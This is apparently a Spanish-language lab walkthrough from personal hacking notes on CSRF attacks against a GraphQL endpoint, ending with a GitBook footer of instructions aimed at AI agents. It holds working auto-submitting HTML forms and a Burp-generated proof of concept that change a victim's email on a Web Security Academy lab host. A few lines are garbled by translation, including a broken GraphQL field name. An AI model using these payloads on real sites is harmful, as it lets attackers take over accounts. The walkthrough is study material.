> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/graphql/csrf-exploitation-via-graphql.md).

# Explotación de CSRF a través de GraphQL

### Realización de exploits CSRF sobre GraphQL

#### Contexto del laboratorio

Las funciones de gestión de usuarios se basan en un **GraphQL** punto final. / Punto clave: l

**Objetivo:** Crea una página HTML (alojada en el servidor de exploits) que, cuando la cargue la víctima, **cambia su dirección de correo electrónico**.

<figure><img src="/files/b03cfae08424ea4dd2027f0d49c47232a38e4f05" alt=""><figcaption></figcaption></figure>

#### Consulta GraphQL observada

Cuando cambias el correo desde la aplicación, la solicitud enviada se ve así

```json
{
  "query": "/n    mutation changeEmail($input: ChangeEmailInput!) {/n        changeEmail(input: $input) {/n            email/n        }/n    }/n",
  "operationName": "changeEmail",
  "variables": {
    "input": {
      "email": "test@test.com"
    }
  }
}
```

### Método 1: CSRF simple con formulario (recomendado)

La idea es reproducir la mutación GraphQL mediante un **formulario POST** al endpoint GraphQL, con `query`, `operationName` y `variables` campos.

Ejemplo de una operación que se va a depositar en el operador:

```javascript
<form
  class="login-form"
  name="change-email-form"
  action="https://0ace0022038ab64b803c033800f30057.web-security-academy.net/graphql/v1"
  method="POST"
>
  <input type="hidden" name="query" value="
    mutation changeEmail($input: ChangeEmailInput!) {
      changeEmail(input: $input) {
        correo electrónico
      }
    }
  ">

  <input type="hidden" name="operationName" value="changeEmail">

  <input
    type="hidden"
    name="variables"
    value='{"input":{"email":"hacked@jord4n.pro"}}'
  >
</form>

<script>
  document.forms["change-email-form"].submit();
</script>
```

<figure><img src="/files/3f1c8f6f36066858b00d9c70071f078466e30fd3" alt=""><figcaption></figcaption></figure>

Resultado esperado: cuando la víctima abre la página, su navegador envía la solicitud y **el correo electrónico se cambia**.

<figure><img src="/files/e46f3b7c65371cdbc2225d14930b2240509b0bf3" alt=""><figcaption></figcaption></figure>

### Método 2: x-www-form-urlencoded

Aquí, codificas los parámetros directamente como lo haría un formulario clásico:

```bash
Content-Type: application/x-www-form-urlencoded
```

{% code overflow="wrap" %}

```bash
query=%0A++++mutation+changeEmail($input:+ChangeEmailInput!)+{%0A++++++++changeEmail(input:$input)+{%0A++++++++++++email%0A++++++++}%0A++++}%0A&operationName=changeEmail&variables={"input":{"email":"test@test.com"}}
```

{% endcode %}

Práctico para comprobar rápidamente cómo se ve la solicitud.

<figure><img src="/files/8c947e510d82afe3ac59cb338b2103d9ee00637c" alt=""><figcaption></figcaption></figure>

Desde Burp:

1. Haz clic derecho en la solicitud GraphQL
2. **Herramientas de compromiso** → **Generar CSRF PoC**
3. Burp produce un HTML listo para alojar, por ejemplo:

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ace0022038ab64b803c033800f30057.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value="&#10;&#32;&#32;&#32;&#32;mutation&#32;changeEmail&#40;&#36;input&#58;&#32;ChangeEmailInput&#33;&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;changeEmail&#40;input&#58;&#36;input&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;email&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#125;&#10;" />
      <input type="hidden" name="operationName" value="changeEmail" />
      <input type="hidden" name="variables" value="&#123;&quot;input&quot;&#58;&#123;&quot;email&quot;&#58;&quot;test&#64;test&#46;com&quot;&#125;&#125;" />
      <input type="submit" value="Enviar solicitud" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

```

<figure><img src="/files/64a88c1d165983ce6b84505937bc03179ec11673" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/graphql/csrf-exploitation-via-graphql.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
